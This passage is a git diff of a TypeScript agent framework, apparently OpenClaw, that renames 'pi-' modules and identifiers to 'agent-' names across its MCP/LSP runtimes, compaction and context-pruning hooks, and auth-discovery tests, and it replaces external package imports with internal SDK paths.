"./mcp-stdio.js"; +import type { AgentToolResult } from "./runtime/index.js"; import type { AnyAgentTool } from "./tools/common.js"; // Minimal LSP JSON-RPC framing over stdio (Content-Length header + JSON body). @@ -395,7 +395,7 @@ export async function createBundleLspToolRuntime(params: { cfg?: OpenClawConfig; reservedToolNames?: Iterable; }): Promise { - const loaded = loadEmbeddedPiLspConfig({ + const loaded = loadEmbeddedAgentLspConfig({ workspaceDir: params.workspaceDir, cfg: params.cfg, }); diff --git a/src/agents/pi-bundle-lsp-runtime.windows-spawn.test.ts b/src/agents/agent-bundle-lsp-runtime.windows-spawn.test.ts similarity index 95% rename from src/agents/pi-bundle-lsp-runtime.windows-spawn.test.ts rename to src/agents/agent-bundle-lsp-runtime.windows-spawn.test.ts index 5afbd37f86f..afe7a65fd2f 100644 --- a/src/agents/pi-bundle-lsp-runtime.windows-spawn.test.ts +++ b/src/agents/agent-bundle-lsp-runtime.windows-spawn.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi, beforeEach } from "vitest"; -import { spawnLspServerProcess } from "./pi-bundle-lsp-runtime.js"; +import { spawnLspServerProcess } from "./agent-bundle-lsp-runtime.js"; const resolveWindowsSpawnProgramMock = vi.hoisted(() => vi.fn()); const materializeWindowsSpawnProgramMock = vi.hoisted(() => vi.fn()); @@ -29,8 +29,8 @@ vi.mock("../process/kill-tree.js", () => ({ killProcessTree: vi.fn(), })); -vi.mock("./embedded-pi-lsp.js", () => ({ - loadEmbeddedPiLspConfig: vi.fn().mockReturnValue({ lspServers: {}, diagnostics: [] }), +vi.mock("./embedded-agent-lsp.js", () => ({ + loadEmbeddedAgentLspConfig: vi.fn().mockReturnValue({ lspServers: {}, diagnostics: [] }), })); const FAKE_CHILD = { diff --git a/src/agents/pi-bundle-mcp-materialize.ts b/src/agents/agent-bundle-mcp-materialize.ts similarity index 94% rename from src/agents/pi-bundle-mcp-materialize.ts rename to src/agents/agent-bundle-mcp-materialize.ts index d3cdeba0bce..f750d128a2d 100644 --- a/src/agents/pi-bundle-mcp-materialize.ts +++ b/src/agents/agent-bundle-mcp-materialize.ts @@ -1,5 +1,4 @@ import crypto from "node:crypto"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { logWarn } from "../logger.js"; @@ -9,9 +8,10 @@ import { buildSafeToolName, normalizeReservedToolNames, TOOL_NAME_SEPARATOR, -} from "./pi-bundle-mcp-names.js"; -import type { BundleMcpToolRuntime, SessionMcpRuntime } from "./pi-bundle-mcp-types.js"; -import { normalizeToolParameterSchema } from "./pi-tools-parameter-schema.js"; +} from "./agent-bundle-mcp-names.js"; +import type { BundleMcpToolRuntime, SessionMcpRuntime } from "./agent-bundle-mcp-types.js"; +import { normalizeToolParameterSchema } from "./agent-tools-parameter-schema.js"; +import type { AgentToolResult } from "./runtime/index.js"; import type { AnyAgentTool } from "./tools/common.js"; function toAgentToolResult(params: { @@ -158,7 +158,7 @@ export async function createBundleMcpToolRuntime(params: { }) => SessionMcpRuntime; }): Promise { const createRuntime = - params.createRuntime ?? (await import("./pi-bundle-mcp-runtime.js")).createSessionMcpRuntime; + params.createRuntime ?? (await import("./agent-bundle-mcp-runtime.js")).createSessionMcpRuntime; const runtime = createRuntime({ sessionId: `bundle-mcp:${crypto.randomUUID()}`, workspaceDir: params.workspaceDir, diff --git a/src/agents/pi-bundle-mcp-names.test.ts b/src/agents/agent-bundle-mcp-names.test.ts similarity index 95% rename from src/agents/pi-bundle-mcp-names.test.ts rename to src/agents/agent-bundle-mcp-names.test.ts index 0675c8ec2e5..029d5e09877 100644 --- a/src/agents/pi-bundle-mcp-names.test.ts +++ b/src/agents/agent-bundle-mcp-names.test.ts @@ -4,9 +4,9 @@ import { normalizeReservedToolNames, sanitizeServerName, TOOL_NAME_SEPARATOR, -} from "./pi-bundle-mcp-names.js"; +} from "./agent-bundle-mcp-names.js"; -describe("pi bundle MCP names", () => { +describe("agent bundle MCP names", () => { it("sanitizes and disambiguates server names", () => { const usedNames = new Set(); diff --git a/src/agents/pi-bundle-mcp-names.ts b/src/agents/agent-bundle-mcp-names.ts similarity index 100% rename from src/agents/pi-bundle-mcp-names.ts rename to src/agents/agent-bundle-mcp-names.ts diff --git a/src/agents/pi-bundle-mcp-runtime.test.ts b/src/agents/agent-bundle-mcp-runtime.test.ts similarity index 98% rename from src/agents/pi-bundle-mcp-runtime.test.ts rename to src/agents/agent-bundle-mcp-runtime.test.ts index f4c04c4d9e1..1cbd07f0e42 100644 --- a/src/agents/pi-bundle-mcp-runtime.test.ts +++ b/src/agents/agent-bundle-mcp-runtime.test.ts @@ -3,19 +3,21 @@ import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; import { writeExecutable } from "./bundle-mcp-shared.test-harness.js"; -import { createBundleMcpJsonSchemaValidator } from "./pi-bundle-mcp-runtime.js"; -import { cleanupBundleMcpHarness } from "./pi-bundle-mcp-test-harness.js"; +import { createBundleMcpJsonSchemaValidator } from "./agent-bundle-mcp-runtime.js"; +import { cleanupBundleMcpHarness } from "./agent-bundle-mcp-test-harness.js"; import { testing, getOrCreateSessionMcpRuntime, materializeBundleMcpToolsForRun, retireSessionMcpRuntime, retireSessionMcpRuntimeForSessionKey, -} from "./pi-bundle-mcp-tools.js"; -import type { SessionMcpRuntime } from "./pi-bundle-mcp-types.js"; +} from "./agent-bundle-mcp-tools.js"; +import type { SessionMcpRuntime } from "./agent-bundle-mcp-types.js"; -vi.mock("./embedded-pi-mcp.js", () => ({ - loadEmbeddedPiMcpConfig: (params: { cfg?: { mcp?: { servers?: Record } } }) => ({ +vi.mock("./embedded-agent-mcp.js", () => ({ + loadEmbeddedAgentMcpConfig: (params: { + cfg?: { mcp?: { servers?: Record } }; + }) => ({ diagnostics: [], mcpServers: params.cfg?.mcp?.servers ?? {}, }), diff --git a/src/agents/pi-bundle-mcp-runtime.ts b/src/agents/agent-bundle-mcp-runtime.ts similarity index 98% rename from src/agents/pi-bundle-mcp-runtime.ts rename to src/agents/agent-bundle-mcp-runtime.ts index 8c3256a58d4..927fd8e3661 100644 --- a/src/agents/pi-bundle-mcp-runtime.ts +++ b/src/agents/agent-bundle-mcp-runtime.ts @@ -3,12 +3,12 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; import type { Transport } from "@modelcontextprotocol/sdk/shared/transport.js"; import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js"; -import { AjvJsonSchemaValidator } from "@modelcontextprotocol/sdk/validation/ajv-provider.js"; import type { JsonSchemaType, JsonSchemaValidator, jsonSchemaValidator, } from "@modelcontextprotocol/sdk/validation/types.js"; +import { AjvJsonSchemaValidator } from "@modelcontextprotocol/sdk/validation/ajv-provider.js"; import { Compile } from "typebox/compile"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { logWarn } from "../logger.js"; @@ -19,17 +19,17 @@ import { } from "../shared/json-schema-defaults.js"; import { redactSensitiveUrlLikeString } from "../shared/net/redact-sensitive-url.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; -import { loadEmbeddedPiMcpConfig } from "./embedded-pi-mcp.js"; -import { isMcpConfigRecord } from "./mcp-config-shared.js"; -import { resolveMcpTransport } from "./mcp-transport.js"; -import { sanitizeServerName } from "./pi-bundle-mcp-names.js"; +import { sanitizeServerName } from "./agent-bundle-mcp-names.js"; import type { McpCatalogTool, McpServerCatalog, McpToolCatalog, SessionMcpRuntime, SessionMcpRuntimeManager, -} from "./pi-bundle-mcp-types.js"; +} from "./agent-bundle-mcp-types.js"; +import { loadEmbeddedAgentMcpConfig } from "./embedded-agent-mcp.js"; +import { isMcpConfigRecord } from "./mcp-config-shared.js"; +import { resolveMcpTransport } from "./mcp-transport.js"; type BundleMcpSession = { serverName: string; @@ -39,7 +39,7 @@ type BundleMcpSession = { detachStderr?: () => void; }; -type LoadedMcpConfig = ReturnType; +type LoadedMcpConfig = ReturnType; type ListedTool = Awaited>["tools"][number]; type CreateSessionMcpRuntime = ( params: Parameters[0] & { configFingerprint?: string }, @@ -227,7 +227,7 @@ function loadSessionMcpConfig(params: { loaded: LoadedMcpConfig; fingerprint: string; } { - const loaded = loadEmbeddedPiMcpConfig({ + const loaded = loadEmbeddedAgentMcpConfig({ workspaceDir: params.workspaceDir, cfg: params.cfg, }); diff --git a/src/agents/pi-bundle-mcp-test-harness.ts b/src/agents/agent-bundle-mcp-test-harness.ts similarity index 63% rename from src/agents/pi-bundle-mcp-test-harness.ts rename to src/agents/agent-bundle-mcp-test-harness.ts index b718c3c5f33..b6589f1d904 100644 --- a/src/agents/pi-bundle-mcp-test-harness.ts +++ b/src/agents/agent-bundle-mcp-test-harness.ts @@ -1,4 +1,4 @@ export async function cleanupBundleMcpHarness(): Promise { - const { testing } = await import("./pi-bundle-mcp-tools.js"); + const { testing } = await import("./agent-bundle-mcp-tools.js"); await testing.resetSessionMcpRuntimeManager(); } diff --git a/src/agents/pi-bundle-mcp-tools.materialize.test.ts b/src/agents/agent-bundle-mcp-tools.materialize.test.ts similarity index 96% rename from src/agents/pi-bundle-mcp-tools.materialize.test.ts rename to src/agents/agent-bundle-mcp-tools.materialize.test.ts index 70f145fb7e9..6690d35f5ef 100644 --- a/src/agents/pi-bundle-mcp-tools.materialize.test.ts +++ b/src/agents/agent-bundle-mcp-tools.materialize.test.ts @@ -1,12 +1,12 @@ -import { validateToolArguments } from "@earendil-works/pi-ai"; +import { validateToolArguments } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { getPluginToolMeta } from "../plugins/tools.js"; import { createBundleMcpToolRuntime, materializeBundleMcpToolsForRun, -} from "./pi-bundle-mcp-materialize.js"; -import type { McpCatalogTool } from "./pi-bundle-mcp-types.js"; -import type { SessionMcpRuntime } from "./pi-bundle-mcp-types.js"; +} from "./agent-bundle-mcp-materialize.js"; +import type { McpCatalogTool } from "./agent-bundle-mcp-types.js"; +import type { SessionMcpRuntime } from "./agent-bundle-mcp-types.js"; function expectTextContentBlock(block: unknown, text: string) { const content = block as { type?: string; text?: string } | undefined; diff --git a/src/agents/pi-bundle-mcp-tools.request-boundary.test.ts b/src/agents/agent-bundle-mcp-tools.request-boundary.test.ts similarity index 94% rename from src/agents/pi-bundle-mcp-tools.request-boundary.test.ts rename to src/agents/agent-bundle-mcp-tools.request-boundary.test.ts index 08cf614969f..20f66ee970e 100644 --- a/src/agents/pi-bundle-mcp-tools.request-boundary.test.ts +++ b/src/agents/agent-bundle-mcp-tools.request-boundary.test.ts @@ -3,10 +3,10 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createBundleMcpToolRuntime, materializeBundleMcpToolsForRun, -} from "./pi-bundle-mcp-materialize.js"; -import type { McpCatalogTool, SessionMcpRuntime } from "./pi-bundle-mcp-types.js"; -import { applyFinalEffectiveToolPolicy } from "./pi-embedded-runner/effective-tool-policy.js"; -import { splitSdkTools } from "./pi-embedded-runner/tool-split.js"; +} from "./agent-bundle-mcp-materialize.js"; +import type { McpCatalogTool, SessionMcpRuntime } from "./agent-bundle-mcp-types.js"; +import { applyFinalEffectiveToolPolicy } from "./embedded-agent-runner/effective-tool-policy.js"; +import { splitSdkTools } from "./embedded-agent-runner/tool-split.js"; // Regression coverage for #76063. The reporter's evidence was a captured // outbound provider request body that contained only built-in OpenClaw tools diff --git a/src/agents/pi-bundle-mcp-tools.ts b/src/agents/agent-bundle-mcp-tools.ts similarity index 79% rename from src/agents/pi-bundle-mcp-tools.ts rename to src/agents/agent-bundle-mcp-tools.ts index a45c3011acf..69fa8762041 100644 --- a/src/agents/pi-bundle-mcp-tools.ts +++ b/src/agents/agent-bundle-mcp-tools.ts @@ -5,7 +5,7 @@ export type { McpToolCatalog, SessionMcpRuntime, SessionMcpRuntimeManager, -} from "./pi-bundle-mcp-types.js"; +} from "./agent-bundle-mcp-types.js"; export { testing, testing as __testing, @@ -16,8 +16,8 @@ export { getSessionMcpRuntimeManager, retireSessionMcpRuntime, retireSessionMcpRuntimeForSessionKey, -} from "./pi-bundle-mcp-runtime.js"; +} from "./agent-bundle-mcp-runtime.js"; export { createBundleMcpToolRuntime, materializeBundleMcpToolsForRun, -} from "./pi-bundle-mcp-materialize.js"; +} from "./agent-bundle-mcp-materialize.js"; diff --git a/src/agents/pi-bundle-mcp-types.ts b/src/agents/agent-bundle-mcp-types.ts similarity index 100% rename from src/agents/pi-bundle-mcp-types.ts rename to src/agents/agent-bundle-mcp-types.ts diff --git a/src/agents/agent-command.ts b/src/agents/agent-command.ts index ed22305cb7a..7b05a3cbd2b 100644 --- a/src/agents/agent-command.ts +++ b/src/agents/agent-command.ts @@ -72,6 +72,7 @@ import { resolveAgentRunContext } from "./command/run-context.js"; import { resolveSession } from "./command/session.js"; import type { AgentCommandIngressOpts, AgentCommandOpts } from "./command/types.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./defaults.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "./embedded-agent-runner/result-fallback-classifier.js"; import { resolveFastModeState } from "./fast-mode.js"; import { ensureSelectedAgentHarnessPlugin } from "./harness/runtime-plugin.js"; import { resolveAvailableAgentHarnessPolicy } from "./harness/selection.js"; @@ -95,7 +96,6 @@ import { type ModelVisibilityPolicy, } from "./model-visibility-policy.js"; import { listOpenAIAuthProfileProvidersForAgentRuntime } from "./openai-codex-routing.js"; -import { classifyEmbeddedPiRunResultForModelFallback } from "./pi-embedded-runner/result-fallback-classifier.js"; import { resolveProviderIdForAuth } from "./provider-auth-aliases.js"; import { hydrateResolvedSkillsAsync } from "./skills/snapshot-hydration.js"; import type { SkillSnapshot } from "./skills/types.js"; @@ -1372,7 +1372,7 @@ async function agentCommandInternal( fallbackTrajectoryRecorder?.recordEvent("model.fallback_step", step); }, classifyResult: ({ provider, model, result }) => - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider, model, result, diff --git a/src/agents/pi-compaction-constants.ts b/src/agents/agent-compaction-constants.ts similarity index 100% rename from src/agents/pi-compaction-constants.ts rename to src/agents/agent-compaction-constants.ts diff --git a/src/agents/pi-hooks/compaction-instructions.test.ts b/src/agents/agent-hooks/compaction-instructions.test.ts similarity index 100% rename from src/agents/pi-hooks/compaction-instructions.test.ts rename to src/agents/agent-hooks/compaction-instructions.test.ts diff --git a/src/agents/pi-hooks/compaction-instructions.ts b/src/agents/agent-hooks/compaction-instructions.ts similarity index 100% rename from src/agents/pi-hooks/compaction-instructions.ts rename to src/agents/agent-hooks/compaction-instructions.ts diff --git a/src/agents/pi-hooks/compaction-safeguard-quality.ts b/src/agents/agent-hooks/compaction-safeguard-quality.ts similarity index 100% rename from src/agents/pi-hooks/compaction-safeguard-quality.ts rename to src/agents/agent-hooks/compaction-safeguard-quality.ts diff --git a/src/agents/pi-hooks/compaction-safeguard-runtime.ts b/src/agents/agent-hooks/compaction-safeguard-runtime.ts similarity index 96% rename from src/agents/pi-hooks/compaction-safeguard-runtime.ts rename to src/agents/agent-hooks/compaction-safeguard-runtime.ts index 307bf2ca5ba..8791c4f7083 100644 --- a/src/agents/pi-hooks/compaction-safeguard-runtime.ts +++ b/src/agents/agent-hooks/compaction-safeguard-runtime.ts @@ -1,5 +1,5 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import type { AgentCompactionIdentifierPolicy } from "../../config/types.agent-defaults.js"; +import type { Model } from "../../llm/types.js"; import { createSessionManagerRuntimeRegistry } from "./session-manager-runtime-registry.js"; export type CompactionSafeguardRuntimeValue = { @@ -13,7 +13,7 @@ export type CompactionSafeguardRuntimeValue = { * Passed through runtime because `ctx.model` is undefined in the compact.ts workflow * (extensionRunner.initialize() is never called in that path). */ - model?: Model; + model?: Model; recentTurnsPreserve?: number; workspaceDir?: string; postCompactionSections?: string[]; diff --git a/src/agents/pi-hooks/compaction-safeguard.test.ts b/src/agents/agent-hooks/compaction-safeguard.test.ts similarity index 99% rename from src/agents/pi-hooks/compaction-safeguard.test.ts rename to src/agents/agent-hooks/compaction-safeguard.test.ts index dedd1c3ca7c..de94ffce59e 100644 --- a/src/agents/pi-hooks/compaction-safeguard.test.ts +++ b/src/agents/agent-hooks/compaction-safeguard.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionAPI, ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import { @@ -11,7 +11,7 @@ import { registerCompactionProvider, } from "../../plugins/compaction-provider.js"; import * as compactionModule from "../compaction.js"; -import { buildEmbeddedExtensionFactories } from "../pi-embedded-runner/extensions.js"; +import { buildEmbeddedExtensionFactories } from "../embedded-agent-runner/extensions.js"; import { castAgentMessage } from "../test-helpers/agent-message-fixtures.js"; import { consumeCompactionSafeguardCancelReason, @@ -86,7 +86,7 @@ function stubSessionManager(): ExtensionContext["sessionManager"] { return stub; } -function createAnthropicModelFixture(overrides: Partial> = {}): Model { +function createAnthropicModelFixture(overrides: Partial = {}): Model { return { id: "claude-opus-4-5", name: "Claude Opus 4.5", diff --git a/src/agents/pi-hooks/compaction-safeguard.ts b/src/agents/agent-hooks/compaction-safeguard.ts similarity index 99% rename from src/agents/pi-hooks/compaction-safeguard.ts rename to src/agents/agent-hooks/compaction-safeguard.ts index 7e76e55277d..c982bd05a0e 100644 --- a/src/agents/pi-hooks/compaction-safeguard.ts +++ b/src/agents/agent-hooks/compaction-safeguard.ts @@ -1,11 +1,5 @@ import fs from "node:fs"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { - ExtensionAPI, - ExtensionContext, - FileOperations, -} from "@earendil-works/pi-coding-agent"; import { extractSections } from "../../auto-reply/reply/post-compaction-context.js"; import { openRootFile } from "../../infra/boundary-file-read.js"; import { formatErrorMessage } from "../../infra/errors.js"; @@ -35,7 +29,9 @@ import { collectTextContentBlocks } from "../content-blocks.js"; import { buildCopilotDynamicHeaders, hasCopilotVisionInput } from "../copilot-dynamic-headers.js"; import { isTimeoutError } from "../failover-error.js"; import { stripRuntimeContextCustomMessages } from "../internal-runtime-context.js"; +import type { AgentMessage } from "../runtime/index.js"; import { repairToolUseResultPairing } from "../session-transcript-repair.js"; +import type { ExtensionAPI, ExtensionContext, FileOperations } from "../sessions/index.js"; import { extractToolCallsFromAssistant, extractToolResultId } from "../tool-call-id.js"; import { composeSplitTurnInstructions, diff --git a/src/agents/pi-hooks/context-pruning.test.ts b/src/agents/agent-hooks/context-pruning.test.ts similarity index 98% rename from src/agents/pi-hooks/context-pruning.test.ts rename to src/agents/agent-hooks/context-pruning.test.ts index 20981539c4b..0598244076e 100644 --- a/src/agents/pi-hooks/context-pruning.test.ts +++ b/src/agents/agent-hooks/context-pruning.test.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ToolResultMessage } from "@earendil-works/pi-ai"; -import type { ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionAPI, ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; +import type { ToolResultMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { computeEffectiveSettings, diff --git a/src/agents/pi-hooks/context-pruning.ts b/src/agents/agent-hooks/context-pruning.ts similarity index 83% rename from src/agents/pi-hooks/context-pruning.ts rename to src/agents/agent-hooks/context-pruning.ts index 9a504441dcb..325bf1e6ff0 100644 --- a/src/agents/pi-hooks/context-pruning.ts +++ b/src/agents/agent-hooks/context-pruning.ts @@ -1,5 +1,5 @@ /** - * Opt-in context pruning (“microcompact”-style) for Pi sessions. + * Opt-in context pruning (“microcompact”-style) for agent sessions. * * This only affects the in-memory context for the current request; it does not rewrite session * history persisted on disk. diff --git a/src/agents/pi-hooks/context-pruning/extension.ts b/src/agents/agent-hooks/context-pruning/extension.ts similarity index 97% rename from src/agents/pi-hooks/context-pruning/extension.ts rename to src/agents/agent-hooks/context-pruning/extension.ts index 98c031f1bf5..413be87ef79 100644 --- a/src/agents/pi-hooks/context-pruning/extension.ts +++ b/src/agents/agent-hooks/context-pruning/extension.ts @@ -1,4 +1,4 @@ -import type { ContextEvent, ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { ContextEvent, ExtensionAPI, ExtensionContext } from "../../sessions/index.js"; import { pruneContextMessages } from "./pruner.js"; import { getContextPruningRuntime } from "./runtime.js"; diff --git a/src/agents/pi-hooks/context-pruning/pruner.test.ts b/src/agents/agent-hooks/context-pruning/pruner.test.ts similarity index 98% rename from src/agents/pi-hooks/context-pruning/pruner.test.ts rename to src/agents/agent-hooks/context-pruning/pruner.test.ts index d997ed245b1..897cdc171d0 100644 --- a/src/agents/pi-hooks/context-pruning/pruner.test.ts +++ b/src/agents/agent-hooks/context-pruning/pruner.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; import { describe, expect, it } from "vitest"; import { pruneContextMessages } from "./pruner.js"; import { DEFAULT_CONTEXT_PRUNING_SETTINGS } from "./settings.js"; diff --git a/src/agents/pi-hooks/context-pruning/pruner.ts b/src/agents/agent-hooks/context-pruning/pruner.ts similarity index 97% rename from src/agents/pi-hooks/context-pruning/pruner.ts rename to src/agents/agent-hooks/context-pruning/pruner.ts index 121bebc3ef5..93cf888c86e 100644 --- a/src/agents/pi-hooks/context-pruning/pruner.ts +++ b/src/agents/agent-hooks/context-pruning/pruner.ts @@ -1,8 +1,8 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ImageContent, TextContent, ToolResultMessage } from "@earendil-works/pi-ai"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { ImageContent, TextContent, ToolResultMessage } from "../../../llm/types.js"; import { CHARS_PER_TOKEN_ESTIMATE, estimateStringChars } from "../../../utils/cjk-chars.js"; -import { dropThinkingBlocks } from "../../pi-embedded-runner/thinking.js"; +import { dropThinkingBlocks } from "../../embedded-agent-runner/thinking.js"; +import type { AgentMessage } from "../../runtime/index.js"; +import type { ExtensionContext } from "../../sessions/index.js"; import type { EffectiveContextPruningSettings } from "./settings.js"; import { makeToolPrunablePredicate } from "./tools.js"; diff --git a/src/agents/pi-hooks/context-pruning/runtime.ts b/src/agents/agent-hooks/context-pruning/runtime.ts similarity index 87% rename from src/agents/pi-hooks/context-pruning/runtime.ts rename to src/agents/agent-hooks/context-pruning/runtime.ts index 22998e853a8..0659c42bc9d 100644 --- a/src/agents/pi-hooks/context-pruning/runtime.ts +++ b/src/agents/agent-hooks/context-pruning/runtime.ts @@ -9,7 +9,7 @@ export type ContextPruningRuntimeValue = { lastCacheTouchAt?: number | null; }; -// Important: this relies on Pi passing the same SessionManager object instance into +// Important: this relies on the embedded agent runtime passing the same SessionManager instance into // ExtensionContext (ctx.sessionManager) that we used when calling setContextPruningRuntime. const registry = createSessionManagerRuntimeRegistry(); diff --git a/src/agents/pi-hooks/context-pruning/settings.ts b/src/agents/agent-hooks/context-pruning/settings.ts similarity index 100% rename from src/agents/pi-hooks/context-pruning/settings.ts rename to src/agents/agent-hooks/context-pruning/settings.ts diff --git a/src/agents/pi-hooks/context-pruning/tools.ts b/src/agents/agent-hooks/context-pruning/tools.ts similarity index 100% rename from src/agents/pi-hooks/context-pruning/tools.ts rename to src/agents/agent-hooks/context-pruning/tools.ts diff --git a/src/agents/pi-hooks/session-manager-runtime-registry.ts b/src/agents/agent-hooks/session-manager-runtime-registry.ts similarity index 100% rename from src/agents/pi-hooks/session-manager-runtime-registry.ts rename to src/agents/agent-hooks/session-manager-runtime-registry.ts diff --git a/src/agents/pi-mcp-style.cache.live.test.ts b/src/agents/agent-mcp-style.cache.live.test.ts similarity index 98% rename from src/agents/pi-mcp-style.cache.live.test.ts rename to src/agents/agent-mcp-style.cache.live.test.ts index 990ab9304d6..030591ec627 100644 --- a/src/agents/pi-mcp-style.cache.live.test.ts +++ b/src/agents/agent-mcp-style.cache.live.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage, Tool } from "@earendil-works/pi-ai"; +import type { AssistantMessage, Tool } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { diff --git a/src/agents/pi-model-discovery.auth.test.ts b/src/agents/agent-model-discovery.auth.test.ts similarity index 92% rename from src/agents/pi-model-discovery.auth.test.ts rename to src/agents/agent-model-discovery.auth.test.ts index 302122811c3..fb5da0cd4d9 100644 --- a/src/agents/pi-model-discovery.auth.test.ts +++ b/src/agents/agent-model-discovery.auth.test.ts @@ -2,13 +2,13 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; -import type { AuthProfileStore } from "./auth-profiles.js"; -import { resolvePiCredentialMapFromStore } from "./pi-auth-credentials.js"; +import { resolveAgentCredentialMapFromStore } from "./agent-auth-credentials.js"; import { - addEnvBackedPiCredentials, + addEnvBackedAgentCredentials, scrubLegacyStaticAuthJsonEntriesForDiscovery, -} from "./pi-auth-discovery-core.js"; -import { discoverAuthStorage } from "./pi-model-discovery.js"; +} from "./agent-auth-discovery-core.js"; +import { discoverAuthStorage } from "./agent-model-discovery.js"; +import type { AuthProfileStore } from "./auth-profiles.js"; vi.mock("./model-auth-env-vars.js", () => ({ listProviderEnvAuthLookupKeys: () => ["mistral", "workspace-cloud"], @@ -61,7 +61,7 @@ vi.mock("./model-auth-env.js", () => ({ })); async function createAgentDir(): Promise { - return await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-auth-storage-")); + return await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-auth-storage-")); } async function withAgentDir(run: (agentDir: string) => Promise): Promise { @@ -92,8 +92,8 @@ async function readLegacyAuthJson(agentDir: string): Promise { - it("converts runtime auth profiles into pi discovery credentials", () => { - const credentials = resolvePiCredentialMapFromStore({ + it("converts runtime auth profiles into agent discovery credentials", () => { + const credentials = resolveAgentCredentialMapFromStore({ version: 1, profiles: { "openrouter:default": { @@ -132,8 +132,8 @@ describe("discoverAuthStorage", () => { expect(codexCredential?.refresh).toBe("oauth-refresh"); }); - it("keeps keyRef and tokenRef profiles visible only for read-only pi discovery", () => { - const credentials = resolvePiCredentialMapFromStore({ + it("keeps keyRef and tokenRef profiles visible only for read-only agent discovery", () => { + const credentials = resolveAgentCredentialMapFromStore({ version: 1, profiles: { "openrouter:default": { @@ -154,7 +154,7 @@ describe("discoverAuthStorage", () => { }, }, }); - const discoveryCredentials = resolvePiCredentialMapFromStore( + const discoveryCredentials = resolveAgentCredentialMapFromStore( { version: 1, profiles: { @@ -269,7 +269,7 @@ describe("discoverAuthStorage", () => { delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; delete process.env.OPENCLAW_DISABLE_BUNDLED_PLUGINS; try { - const credentials = addEnvBackedPiCredentials({}, { env: process.env }); + const credentials = addEnvBackedAgentCredentials({}, { env: process.env }); expect(credentials.mistral).toEqual({ type: "api_key", @@ -294,8 +294,8 @@ describe("discoverAuthStorage", () => { } }); - it("includes workspace-scoped auth evidence in pi discovery credentials", () => { - const credentials = addEnvBackedPiCredentials( + it("includes workspace-scoped auth evidence in agent discovery credentials", () => { + const credentials = addEnvBackedAgentCredentials( {}, { env: {}, diff --git a/src/agents/agent-model-discovery.internal.test.ts b/src/agents/agent-model-discovery.internal.test.ts new file mode 100644 index 00000000000..8e9ac1ba9bf --- /dev/null +++ b/src/agents/agent-model-discovery.internal.test.ts @@ -0,0 +1,11 @@ +import { describe, expect, it } from "vitest"; + +describe("agent-model-discovery internal runtime", () => { + it("loads without the public agent-sessions SDK facade", async () => { + const module = await import("./agent-model-discovery.js"); + expect(typeof module.discoverAuthStorage).toBe("function"); + expect(typeof module.discoverModels).toBe("function"); + expect(typeof module.AuthStorage.inMemory).toBe("function"); + expect(typeof module.ModelRegistry.create).toBe("function"); + }); +}); diff --git a/src/agents/pi-model-discovery.synthetic-auth.test.ts b/src/agents/agent-model-discovery.synthetic-auth.test.ts similarity index 78% rename from src/agents/pi-model-discovery.synthetic-auth.test.ts rename to src/agents/agent-model-discovery.synthetic-auth.test.ts index d38975b6edd..2344f4d4430 100644 --- a/src/agents/pi-model-discovery.synthetic-auth.test.ts +++ b/src/agents/agent-model-discovery.synthetic-auth.test.ts @@ -22,7 +22,6 @@ vi.mock("../plugins/synthetic-auth.runtime.js", () => ({ })); vi.mock("../plugins/provider-runtime.js", () => ({ - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, normalizeProviderResolvedModelWithPlugin: () => undefined, resolveProviderSyntheticAuthWithPlugin, @@ -34,15 +33,15 @@ vi.mock("./auth-profiles/store.js", () => ({ loadAuthProfileStoreForSecretsRuntime: () => ({ version: 1, profiles: {} }), })); -vi.mock("./pi-auth-discovery-core.js", () => ({ - addEnvBackedPiCredentials: (credentials: Record) => ({ 